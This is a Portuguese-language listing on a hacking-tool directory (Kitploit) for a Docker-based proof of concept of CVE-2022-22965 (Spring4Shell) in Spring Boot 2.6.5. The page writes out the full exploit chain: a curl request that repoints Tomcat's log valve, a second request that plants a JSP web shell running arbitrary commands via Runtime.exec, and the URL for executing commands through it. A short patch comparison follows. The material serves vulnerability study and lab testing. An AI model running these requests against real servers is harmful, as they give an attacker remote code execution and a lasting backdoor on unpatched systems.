Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-22965 — Prova de conceito baseada em Docker para CVE-2022-22965 (Spring4Shell) vulnerabilidade de execução remota de código em Spring Boot 2.6.5, com implantação automatizada de webshell e comparação de patches. | Kitploit
Ferramentas/GitHubGitHub/itsecurityco/cve-2022-22965
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubitsecurityco/cve-2022-22965

CVE-2022-22965

Prova de conceito baseada em Docker para CVE-2022-22965 (Spring4Shell) vulnerabilidade de execução remota de código em Spring Boot 2.6.5, com implantação automatizada de webshell e comparação de patches.

Ver Repositório
16312há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Spring Boot CVE-2022-22965

Docker PoC para CVE-2022-22965 com Spring Boot versão 2.6.5

Shell

🚀 Começando

  1. Baixe o código de distribuição de https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip e descompacte-o.
  2. Execute docker compose up --build para construir e iniciar a aplicação vulnerável.
  3. Execute curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" para alterar a configuração do valve do Tomcat.
  4. Execute para criar o web shell.
curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x"
  • Abra seu navegador e acesse http://localhost:8080/shell.jsp?1337=id para começar a executar comandos.

  • 🔎 Revisão do patch

    O código fonte para Spring Framework 5.3.17 (vulnerável) e Spring Framework 5.3.18 (corrigido) pode ser baixado respectivamente de:

    • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
    • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
    root@kitploit:~
    $ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
    $ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
    

    A vulnerabilidade é encontrada no arquivo /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java na linha 290 onde a validação é aplicada para os métodos Class.getClassLoader() e getProtectionDomain(), mas não para os tipos ClassLoader, ProtectionDomain e nomes PropertyDescriptors.

    A diferença entre o código vulnerável e o código corrigido pode ser obtida com o comando diff.

    root@kitploit:~
    $ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
    

    Patch


    Créditos

    • Pesquisa original: @p1n93r
    • Agradecimentos: @fmunoz
    Baixar ferramenta